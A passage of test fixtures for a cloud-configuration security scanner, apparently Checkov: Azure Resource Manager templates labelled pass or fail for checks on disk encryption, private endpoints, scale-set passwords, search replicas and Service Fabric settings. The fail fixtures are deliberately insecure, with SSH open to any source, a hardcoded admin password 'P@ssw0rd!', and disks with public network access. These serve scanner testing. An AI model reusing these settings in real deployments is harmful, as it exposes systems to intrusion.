"ServiceTag" } } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureMLWorkspacePrivateEndpoint/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.MachineLearningServices/workspaces", "apiVersion": "2022-12-01", "name": "fail2", "location": "West US", "properties": { "description": "No networks" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureMLWorkspacePrivateEndpoint/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.MachineLearningServices/workspaces", "apiVersion": "2022-12-01", "name": "pass1", "location": "West US", "properties": { "managedNetwork": { "outboundRules": { "rule1": { "type": "PrivateEndpoint" } } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureMLWorkspacePrivateEndpoint/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.MachineLearningServices/workspaces", "apiVersion": "2022-12-01", "name": "pass2", "location": "West US", "properties": { "managedNetwork": { "outboundRules": { "rule1": { "type": "ServiceTag" }, "rule2": { "type": "PrivateEndpoint" } } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureManagedDiscEncryption/azureManagedDiscEncryption-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "VM Admin User Name": { "defaultValue": "myadmin", "type": "string" }, "VM Admin Password": { "defaultValue": null, "type": "securestring" }, "VM Size": { "defaultValue": "Standard_DS4", "type": "string", "allowedValues": [ "Standard_DS1", "Standard_DS2", "Standard_DS3", "Standard_DS4", "Standard_DS5" ], "metadata": { "description": "SKU of the VM." } }, "Public Domain Label": { "type": "string" } }, "variables": { "Vhds Container Name": "vhds", "frontIpRange": "10.0.1.0/24", "Public IP Name": "MyPublicIP", "Public LB Name": "PublicLB", "Front Address Pool Name": "frontPool", "Front NIC": "frontNic", "Front NIC Clone": "frontNic-Clone", "Front VM": "Demo-VM", "Front VM Clone": "Demo-VM-Clone", "Front Availability Set Name": "frontAvailSet", "VNet Name": "Demo-VNet" }, "resources": [ { "type": "Microsoft.Network/publicIPAddresses", "name": "[variables('Public IP Name')]", "apiVersion": "2015-06-15", "location": "[resourceGroup().location]", "tags": { "displayName": "Public IP" }, "properties": { "publicIPAllocationMethod": "Dynamic", "idleTimeoutInMinutes": 4, "dnsSettings": { "domainNameLabel": "[parameters('Public Domain Label')]" } } }, { "type": "Microsoft.Network/virtualNetworks", "name": "[variables('VNet Name')]", "apiVersion": "2016-03-30", "location": "[resourceGroup().location]", "properties": { "addressSpace": { "addressPrefixes": [ "10.0.0.0/16" ] }, "subnets": [ { "name": "front", "properties": { "addressPrefix": "[variables('frontIpRange')]", "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', 'frontNsg')]" } } } ] }, "resources": [], "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', 'frontNsg')]" ] }, { "type": "Microsoft.Network/loadBalancers", "name": "[variables('Public LB Name')]", "apiVersion": "2015-06-15", "location": "[resourceGroup().location]", "tags": { "displayName": "Public Load Balancer" }, "properties": { "frontendIPConfigurations": [ { "name": "LoadBalancerFrontEnd", "comments": "Front end of LB: the IP address", "properties": { "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses/', variables('Public IP Name'))]" } } } ], "backendAddressPools": [ { "name": "[variables('Front Address Pool Name')]" } ], "loadBalancingRules": [ { "name": "Http", "properties": { "frontendIPConfiguration": { "id": "[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/frontendIPConfigurations/LoadBalancerFrontEnd')]" }, "frontendPort": 80, "backendPort": 80, "enableFloatingIP": false, "idleTimeoutInMinutes": 4, "protocol": "Tcp", "loadDistribution": "Default", "backendAddressPool": { "id": "[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/backendAddressPools/', variables('Front Address Pool Name'))]" }, "probe": { "id": "[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/probes/TCP-Probe')]" } } } ], "probes": [ { "name": "TCP-Probe", "properties": { "protocol": "Tcp", "port": 80, "intervalInSeconds": 5, "numberOfProbes": 2 } } ], "inboundNatRules": [ { "name": "SSH-2-Primary", "properties": { "frontendIPConfiguration": { "id": "[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/frontendIPConfigurations/LoadBalancerFrontEnd')]" }, "frontendPort": 22, "backendPort": 22, "protocol": "Tcp" } }, { "name": "SSH-2-Secondary", "properties": { "frontendIPConfiguration": { "id": "[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/frontendIPConfigurations/LoadBalancerFrontEnd')]" }, "frontendPort": 5000, "backendPort": 22, "protocol": "Tcp" } } ], "outboundNatRules": [], "inboundNatPools": [] }, "dependsOn": [ "[resourceId('Microsoft.Network/publicIPAddresses', variables('Public IP Name'))]" ] }, { "apiVersion": "2015-06-15", "name": "frontNsg", "type": "Microsoft.Network/networkSecurityGroups", "location": "[resourceGroup().location]", "tags": {}, "properties": { "securityRules": [ { "name": "Allow-SSH-From-Everywhere", "properties": { "protocol": "Tcp", "sourcePortRange": "*", "destinationPortRange": "22", "sourceAddressPrefix": "*", "destinationAddressPrefix": "*", "access": "Allow", "priority": 100, "direction": "Inbound" } }, { "name": "Allow-Health-Monitoring", "properties": { "protocol": "*", "sourcePortRange": "*", "destinationPortRange": "*", "sourceAddressPrefix": "AzureLoadBalancer", "destinationAddressPrefix": "*", "access": "Allow", "priority": 200, "direction": "Inbound" } }, { "name": "Disallow-everything-else-Inbound", "properties": { "protocol": "*", "sourcePortRange": "*", "destinationPortRange": "*", "sourceAddressPrefix": "*", "destinationAddressPrefix": "*", "access": "Deny", "priority": 300, "direction": "Inbound" } }, { "name": "Allow-to-VNet", "properties": { "protocol": "*", "sourcePortRange": "*", "destinationPortRange": "*", "sourceAddressPrefix": "*", "destinationAddressPrefix": "VirtualNetwork", "access": "Allow", "priority": 100, "direction": "Outbound" } }, { "name": "Allow-to-8443", "properties": { "protocol": "*", "sourcePortRange": "*", "destinationPortRange": "8443", "sourceAddressPrefix": "*", "destinationAddressPrefix": "Internet", "access": "Allow", "priority": 200, "direction": "Outbound" } }, { "name": "Disallow-everything-else-Outbound", "properties": { "protocol": "*", "sourcePortRange": "*", "destinationPortRange": "*", "sourceAddressPrefix": "*", "destinationAddressPrefix": "*", "access": "Deny", "priority": 300, "direction": "Outbound" } } ], "subnets": [] } }, { "type": "Microsoft.Network/networkInterfaces", "name": "[variables('Front NIC')]", "tags": { "displayName": "Front NIC" }, "apiVersion": "2016-03-30", "location": "[resourceGroup().location]", "properties": { "ipConfigurations": [ { "name": "ipconfig", "properties": { "privateIPAllocationMethod": "Dynamic", "subnet": { "id": "[concat(resourceId('Microsoft.Network/virtualNetworks', variables('VNet Name')), '/subnets/front')]" }, "loadBalancerBackendAddressPools": [ { "id": "[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/backendAddressPools/', variables('Front Address Pool Name'))]" } ], "loadBalancerInboundNatRules": [ { "id": "[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/inboundNatRules/SSH-2-Primary')]" } ] } } ], "dnsSettings": { "dnsServers": [] }, "enableIPForwarding": false }, "resources": [], "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', variables('VNet Name'))]", "[resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name'))]" ] }, { "type": "Microsoft.Compute/virtualMachines", "name": "[variables('Front VM')]", "tags": { "displayName": "Front VM" }, "apiVersion": "2016-04-30-preview", "location": "[resourceGroup().location]", "properties": { "availabilitySet": { "id": "[resourceId('Microsoft.Compute/availabilitySets', variables('Front Availability Set Name'))]" }, "hardwareProfile": { "vmSize": "[parameters('VM Size')]" }, "storageProfile": { "imageReference": { "publisher": "OpenLogic", "offer": "CentOS", "sku": "7.3", "version": "latest" }, "osDisk": { "name": "[variables('Front VM')]", "createOption": "FromImage", "caching": "ReadWrite" }, "dataDisks": [] }, "osProfile": { "computerName": "[variables('Front VM')]", "adminUsername": "[parameters('VM Admin User Name')]", "adminPassword": "[parameters('VM Admin Password')]" }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('Front NIC'))]" } ] } }, "resources": [], "dependsOn": [ "[variables('Front NIC')]", "[resourceId('Microsoft.Compute/availabilitySets', variables('Front Availability Set Name'))]" ] }, { "name": "[variables('Front Availability Set Name')]", "type": "Microsoft.Compute/availabilitySets", "location": "[resourceGroup().location]", "apiVersion": "2016-04-30-preview", "tags": { "displayName": "FrontAvailabilitySet" }, "properties": { "platformUpdateDomainCount": 5, "platformFaultDomainCount": 3, "managed": true }, "dependsOn": [] }, { "name": "default", "type": "Microsoft.Compute/disks", "location": "[resourceGroup().location]", "apiVersion": "2016-04-30-preview", "tags": { "displayName": "Clone Disk" }, "properties": { "creationData": { "createOption": "copy", "sourceUri": "[resourceId('Microsoft.Compute/snapshots', concat(variables('Front VM'), '-snapshot'))]" }, "accountType": "Premium_LRS", "diskSizeGB": 127, "osType": "" } }, { "type": "Microsoft.Network/networkInterfaces", "name": "[variables('Front NIC Clone')]", "tags": { "displayName": "Front NIC Clone" }, "apiVersion": "2016-03-30", "location": "[resourceGroup().location]", "properties": { "ipConfigurations": [ { "name": "ipconfig", "properties": { "privateIPAllocationMethod": "Dynamic", "subnet": { "id": "[concat(resourceId('Microsoft.Network/virtualNetworks', variables('VNet Name')), '/subnets/front')]" }, "loadBalancerBackendAddressPools": [ { "id": "[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/backendAddressPools/', variables('Front Address Pool Name'))]" } ], "loadBalancerInboundNatRules": [ { "id": "[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/inboundNatRules/SSH-2-Secondary')]" } ] } } ], "dnsSettings": { "dnsServers": [] }, "enableIPForwarding": false }, "resources": [], "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', variables('VNet Name'))]", "[resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name'))]" ] }, { "type": "Microsoft.Compute/virtualMachines", "name": "[variables('Front VM Clone')]", "tags": { "displayName": "Front VM Clone" }, "apiVersion": "2016-04-30-preview", "location": "[resourceGroup().location]", "properties": { "availabilitySet": { "id": "[resourceId('Microsoft.Compute/availabilitySets', variables('Front Availability Set Name'))]" }, "hardwareProfile": { "vmSize": "[parameters('VM Size')]" }, "storageProfile": { "osDisk": { "name": "[variables('Front VM Clone')]", "createOption": "attach", "managedDisk": { "id": "[resourceId('Microsoft.Compute/disks', variables('Front VM Clone'))]" }, "osType": "Linux", "caching": "ReadWrite" }, "dataDisks": [] }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('Front NIC Clone'))]" } ] } }, "resources": [], "dependsOn": [ "[resourceId('Microsoft.Compute/availabilitySets', variables('Front Availability Set Name'))]", "[resourceId('Microsoft.Network/networkInterfaces', variables('Front NIC Clone'))]", "[resourceId('Microsoft.Compute/disks', variables('Front VM Clone'))]" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureManagedDiscEncryption/azureManagedDiscEncryption-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vhdUri": { "type": "string", "metadata": { "description": "Storage VHD Uri" } }, "managedDiskName": { "type": "string", "metadata": { "description": "Name of the managed disk to be copied" } }, "keyVaultResourceID": { "type": "string", "metadata": { "description": "KeyVault resource id. Ex: /subscriptions/subscriptionid/resourceGroups/contosorg/providers/Microsoft.KeyVault/vaults/contosovault" } }, "keyVaultSecretUrl": { "type": "string", "metadata": { "description": "KeyVault secret Url. Ex: https://contosovault.vault.azure.net/secrets/contososecret/e088818e865e48488cf363af16dea596" } }, "kekUrl": { "type": "string", "defaultValue": "", "metadata": { "description": "KeyVault key encryption key Url. Ex: https://contosovault.vault.azure.net/keys/contosokek/562a4bb76b524a1493a6afe8e536ee78" } }, "kekVaultResourceID": { "type": "string", "defaultValue": "", "metadata": { "description": "KekVault resource id. Ex: /subscriptions/subscriptionid/resourceGroups/contosorg/providers/Microsoft.KeyVault/vaults/contosovault" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "location": "[parameters('location')]", "storageAccountType": "Standard_LRS", "diskSzie": "128" }, "resources": [ { "apiVersion": "2016-04-30-preview", "type": "Microsoft.Compute/disks", "name": "enabled", "location": "[variables('location')]", "properties": { "creationData": { "createOption": "Import", "sourceUri": "[parameters('vhdUri')]" }, "accountType": "[variables('storageAccountType')]", "diskSizeGB": "[variables('diskSzie')]", "encryptionSettings": { "enabled": true, "diskEncryptionKey": { "sourceVault": { "id": "[parameters('keyVaultResourceID')]" }, "secretUrl": "[parameters('keyVaultSecretUrl')]" }, "keyEncryptionKey": { "sourceVault": { "id": "[parameters('kekVaultResourceID')]" }, "keyUrl": "[parameters('kekUrl')]" } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureManagedDiscEncryption/azureManagedDiscEncryption-PASSED_2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vhdUri": { "type": "string", "metadata": { "description": "Storage VHD Uri" } }, "managedDiskName": { "type": "string", "metadata": { "description": "Name of the managed disk to be copied" } }, "keyVaultResourceID": { "type": "string", "metadata": { "description": "KeyVault resource id. Ex: /subscriptions/subscriptionid/resourceGroups/contosorg/providers/Microsoft.KeyVault/vaults/contosovault" } }, "keyVaultSecretUrl": { "type": "string", "metadata": { "description": "KeyVault secret Url. Ex: https://contosovault.vault.azure.net/secrets/contososecret/e088818e865e48488cf363af16dea596" } }, "kekUrl": { "type": "string", "defaultValue": "", "metadata": { "description": "KeyVault key encryption key Url. Ex: https://contosovault.vault.azure.net/keys/contosokek/562a4bb76b524a1493a6afe8e536ee78" } }, "kekVaultResourceID": { "type": "string", "defaultValue": "", "metadata": { "description": "KekVault resource id. Ex: /subscriptions/subscriptionid/resourceGroups/contosorg/providers/Microsoft.KeyVault/vaults/contosovault" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "location": "[parameters('location')]", "storageAccountType": "Standard_LRS", "diskSzie": "128" }, "resources": [ { "apiVersion": "2021-12-01", "type": "Microsoft.Compute/disks", "name": "collectionEnabled", "location": "[variables('location')]", "properties": { "creationData": { "createOption": "Import", "sourceUri": "[parameters('vhdUri')]" }, "accountType": "[variables('storageAccountType')]", "diskSizeGB": "[variables('diskSzie')]", "encryptionSettingsCollection": { "enabled": true, "encryptionSettings": { "diskEncryptionKey": { "sourceVault": { "id": "[parameters('keyVaultResourceID')]" }, "secretUrl": "[parameters('keyVaultSecretUrl')]" }, "keyEncryptionKey": { "sourceVault": { "id": "[parameters('kekVaultResourceID')]" }, "keyUrl": "[parameters('kekUrl')]" } } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureManagedDiscEncryption/azureManagedDiscEncryption-PASSED_3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vhdUri": { "type": "string", "metadata": { "description": "Storage VHD Uri" } }, "managedDiskName": { "type": "string", "metadata": { "description": "Name of the managed disk to be copied" } }, "keyVaultResourceID": { "type": "string", "metadata": { "description": "KeyVault resource id. Ex: /subscriptions/subscriptionid/resourceGroups/contosorg/providers/Microsoft.KeyVault/vaults/contosovault" } }, "keyVaultSecretUrl": { "type": "string", "metadata": { "description": "KeyVault secret Url. Ex: https://contosovault.vault.azure.net/secrets/contososecret/e088818e865e48488cf363af16dea596" } }, "kekUrl": { "type": "string", "defaultValue": "", "metadata": { "description": "KeyVault key encryption key Url. Ex: https://contosovault.vault.azure.net/keys/contosokek/562a4bb76b524a1493a6afe8e536ee78" } }, "kekVaultResourceID": { "type": "string", "defaultValue": "", "metadata": { "description": "KekVault resource id. Ex: /subscriptions/subscriptionid/resourceGroups/contosorg/providers/Microsoft.KeyVault/vaults/contosovault" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "location": "[parameters('location')]", "storageAccountType": "Standard_LRS", "diskSzie": "128" }, "resources": [ { "apiVersion": "2021-12-01", "type": "Microsoft.Compute/disks", "name": "encryptionBlock", "location": "[variables('location')]", "properties": { "creationData": { "createOption": "Import", "sourceUri": "[parameters('vhdUri')]" }, "accountType": "[variables('storageAccountType')]", "diskSizeGB": "[variables('diskSzie')]", "encryption": { "diskEncryptionSetId": "exampleSetId", "type": "EncryptionAtRestWithCustomerKey" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureManagedDiskEncryptionSet/azureManagedDiskEncyptionSet-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "disks_acctestmd1_name": { "defaultValue": "failed", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Compute/disks", "apiVersion": "2023-01-02", "name": "[parameters('disks_acctestmd1_name')]", "location": "westus2", "tags": { "environment": "staging" }, "sku": { "name": "Standard_LRS", "tier": "Standard" }, "properties": { "creationData": { "createOption": "Empty" }, "diskSizeGB": 1, "diskIOPSReadWrite": 500, "diskMBpsReadWrite": 60, "encryption": { "type": "EncryptionAtRestWithPlatformKey" }, "networkAccessPolicy": "AllowAll", "publicNetworkAccess": "Enabled", "diskState": "Unattached" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureManagedDiskEncryptionSet/azureManagedDiskEncyptionSet-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "disks_pike_name": { "defaultValue": "pike", "type": "String" }, "diskEncryptionSets_pike_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/PIKE/providers/Microsoft.Compute/diskEncryptionSets/pike", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Compute/disks", "apiVersion": "2023-01-02", "name": "[parameters('disks_pike_name')]", "location": "uksouth", "tags": { "createdby": "Terraform", "module": "terraform-azurerm-disk" }, "sku": { "name": "Standard_LRS", "tier": "Standard" }, "properties": { "creationData": { "createOption": "Empty" }, "diskSizeGB": 10, "diskIOPSReadWrite": 500, "diskMBpsReadWrite": 60, "encryption": { "type": "EncryptionAtRestWithCustomerKey", "diskEncryptionSetId": "[parameters('diskEncryptionSets_pike_externalid')]" }, "networkAccessPolicy": "DenyAll", "publicNetworkAccess": "Disabled", "diskState": "Unattached" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureScaleSetPassword/FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Compute/virtualMachineScaleSets", "name": "default", "location": "East US 2", "apiVersion": "2021-07-01", "zones": [ "1" ], "sku": { "name": "Standard_A1", "capacity": "2" }, "properties": { "virtualMachineProfile": { "storageProfile": { "osDisk": { "caching": "ReadWrite", "createOption": "FromImage" }, "imageReference": { "publisher": "Canonical", "offer": "UbuntuServer", "sku": "16.04-LTS", "version": "latest" } }, "osProfile": { "linuxConfiguration": { "computerNamePrefix": "myvmss", "adminUsername": "azureuser", "adminPassword": "P@ssw0rd!" } } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureScaleSetPassword/PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Compute/virtualMachineScaleSets", "name": "enabled", "location": "East US 2", "apiVersion": "2021-07-01", "zones": [ "1" ], "sku": { "name": "Standard_A1", "capacity": "2" }, "properties": { "virtualMachineProfile": { "storageProfile": { "osDisk": { "caching": "ReadWrite", "createOption": "FromImage" }, "imageReference": { "publisher": "Canonical", "offer": "UbuntuServer", "sku": "16.04-LTS", "version": "latest" } }, "osProfile": { "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]", "keyData": "[parameters('adminPasswordOrKey')]" } ] } } } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureScaleSetPassword/UNKNOWN.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Compute/virtualMachineScaleSets", "name": "windows", "location": "East US 2", "apiVersion": "2021-07-01", "zones": [ "1" ], "sku": { "name": "Standard_A1", "capacity": "2" }, "properties": { "virtualMachineProfile": { "storageProfile": { "osDisk": { "caching": "ReadWrite", "createOption": "FromImage" }, "imageReference": { "publisher": "MicrosoftWindowsServer", "offer": "WindowsServer", "sku": "2019-Datacenter", "version": "latest" } }, "osProfile": { "computerNamePrefix": "myvmss", "adminUsername": "azureuser", "adminPassword": "P@ssw0rd!" } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureSearchSLAIndex/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Search/searchServices", "apiVersion": "2020-08-01-Preview", "name": "fail", "sku": { "name": "standard" }, "properties": { "publicNetworkAccess": "Enabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureSearchSLAIndex/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Search/searchServices", "apiVersion": "2020-08-01", "name": "fail2", "sku": { "name": "standard" }, "properties": { "replicaCount": 2 } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureSearchSLAIndex/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Search/searchServices", "apiVersion": "2024-03-01-preview", "name": "pass", "location": "string", "sku": { "name": "standard" }, "properties": { "publicNetworkAccess": "Disabled", "replicaCount": 3 } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureSearchSLAQueryUpdates/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Search/searchServices", "apiVersion": "2024-03-01-preview", "name": "fail", "location": "string", "sku": { "name": "standard" }, "properties": { "publicNetworkAccess": "Enabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureSearchSLAQueryUpdates/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Search/searchServices", "apiVersion": "2024-03-01-preview", "name": "fail2", "location": "string", "sku": { "name": "standard" }, "properties": { "replicaCount": 1 } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureSearchSLAQueryUpdates/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Search/searchServices", "apiVersion": "2024-03-01-preview", "name": "pass", "location": "string", "sku": { "name": "standard" }, "properties": { "publicNetworkAccess": "Disabled", "replicaCount": 2 } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureServiceFabricClusterProtectionLevel/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ServiceFabric/clusters", "apiVersion": "2019-03-01", "name": "fail", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "properties": { "addOnFeatures": [ "string" ], "azureActiveDirectory": { "clientApplication": "string", "clusterApplication": "string", "tenantId": "string" }, "certificate": { "thumbprint": "string", "thumbprintSecondary": "string", "x509StoreName": "string" }, "certificateCommonNames": { "commonNames": [ { "certificateCommonName": "string", "certificateIssuerThumbprint": "string" } ], "x509StoreName": "string" }, "clientCertificateCommonNames": [ { "certificateCommonName": "string", "certificateIssuerThumbprint": "string", "isAdmin": "bool" } ], "clientCertificateThumbprints": [ { "certificateThumbprint": "string", "isAdmin": "bool" } ], "clusterCodeVersion": "string", "diagnosticsStorageAccountConfig": { "blobEndpoint": "string", "protectedAccountKeyName": "string", "queueEndpoint": "string", "storageAccountName": "string", "tableEndpoint": "string" }, "eventStoreServiceEnabled": "bool", "managementEndpoint": "string", "nodeTypes": [ { "applicationPorts": { "endPort": "int", "startPort": "int" }, "capacities": { "{customized property}": "string" }, "clientConnectionEndpointPort": "int", "durabilityLevel": "string", "ephemeralPorts": { "endPort": "int", "startPort": "int" }, "httpGatewayEndpointPort": "int", "isPrimary": "bool", "name": "string", "placementProperties": { "{customized property}": "string" }, "reverseProxyEndpointPort": "int", "vmInstanceCount": "int" } ], "reliabilityLevel": "string", "reverseProxyCertificate": { "thumbprint": "string", "thumbprintSecondary": "string", "x509StoreName": "string" }, "reverseProxyCertificateCommonNames": { "commonNames": [ { "certificateCommonName": "string", "certificateIssuerThumbprint": "string" } ], "x509StoreName": "string" }, "upgradeDescription": { "deltaHealthPolicy": { "applicationDeltaHealthPolicies": { "{customized property}": { "defaultServiceTypeDeltaHealthPolicy": { "maxPercentDeltaUnhealthyServices": "int" }, "serviceTypeDeltaHealthPolicies": { "{customized property}": { "maxPercentDeltaUnhealthyServices": "int" } } } }, "maxPercentDeltaUnhealthyApplications": "int", "maxPercentDeltaUnhealthyNodes": "int", "maxPercentUpgradeDomainDeltaUnhealthyNodes": "int" }, "forceRestart": "bool", "healthCheckRetryTimeout": "string", "healthCheckStableDuration": "string", "healthCheckWaitDuration": "string", "healthPolicy": { "applicationHealthPolicies": { "{customized property}": { "defaultServiceTypeHealthPolicy": { "maxPercentUnhealthyServices": "int" }, "serviceTypeHealthPolicies": { "{customized property}": { "maxPercentUnhealthyServices": "int" } } } }, "maxPercentUnhealthyApplications": "int", "maxPercentUnhealthyNodes": "int" }, "upgradeDomainTimeout": "string", "upgradeReplicaSetCheckTimeout": "string", "upgradeTimeout": "string" }, "upgradeMode": "string", "vmImage": "string" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureServiceFabricClusterProtectionLevel/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ServiceFabric/clusters", "apiVersion": "2019-03-01", "name": "fail2", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "properties": { "addOnFeatures": [ "string" ], "azureActiveDirectory": { "clientApplication": "string", "clusterApplication": "string", "tenantId": "string" }, "certificate": { "thumbprint": "string", "thumbprintSecondary": "string", "x509StoreName": "string" }, "certificateCommonNames": { "commonNames": [ { "certificateCommonName": "string", "certificateIssuerThumbprint": "string" } ], "x509StoreName": "string" }, "clientCertificateCommonNames": [ { "certificateCommonName": "string", "certificateIssuerThumbprint": "string", "isAdmin": "bool" } ], "clientCertificateThumbprints": [ { "certificateThumbprint": "string", "isAdmin": "bool" } ], "clusterCodeVersion": "string", "diagnosticsStorageAccountConfig": { "blobEndpoint": "string", "protectedAccountKeyName": "string", "queueEndpoint": "string", "storageAccountName": "string", "tableEndpoint": "string" }, "eventStoreServiceEnabled": "bool", "fabricSettings": [ { "name": "Security", "parameters": [ { "name": "ClusterProtectionLevel", "value": "sign" } ] } ], "managementEndpoint": "string", "nodeTypes": [ { "applicationPorts": { "endPort": "int", "startPort": "int" }, "capacities": { "{customized property}": "string" }, "clientConnectionEndpointPort": "int", "durabilityLevel": "string", "ephemeralPorts": { "endPort": "int", "startPort": "int" }, "httpGatewayEndpointPort": "int", "isPrimary": "bool", "name": "string", "placementProperties": { "{customized property}": "string" }, "reverseProxyEndpointPort": "int", "vmInstanceCount": "int" } ], "reliabilityLevel": "string", "reverseProxyCertificate": { "thumbprint": "string", "thumbprintSecondary": "string", "x509StoreName": "string" }, "reverseProxyCertificateCommonNames": { "commonNames": [ { "certificateCommonName": "string", "certificateIssuerThumbprint": "string" } ], "x509StoreName": "string" }, "upgradeDescription": { "deltaHealthPolicy": { "applicationDeltaHealthPolicies": { "{customized property}": { "defaultServiceTypeDeltaHealthPolicy": { "maxPercentDeltaUnhealthyServices": "int" }, "serviceTypeDeltaHealthPolicies": { "{customized property}": { "maxPercentDeltaUnhealthyServices": "int" } } } }, "maxPercentDeltaUnhealthyApplications": "int", "maxPercentDeltaUnhealthyNodes": "int", "maxPercentUpgradeDomainDeltaUnhealthyNodes": "int" }, "forceRestart": "bool", "healthCheckRetryTimeout": "string", "healthCheckStableDuration": "string", "healthCheckWaitDuration": "string", "healthPolicy": { "applicationHealthPolicies": { "{customized property}": { "defaultServiceTypeHealthPolicy": { "maxPercentUnhealthyServices": "int" }, "serviceTypeHealthPolicies": { "{customized property}": { "maxPercentUnhealthyServices": "int" } } } }, "maxPercentUnhealthyApplications": "int", "maxPercentUnhealthyNodes": "int" }, "upgradeDomainTimeout": "string", 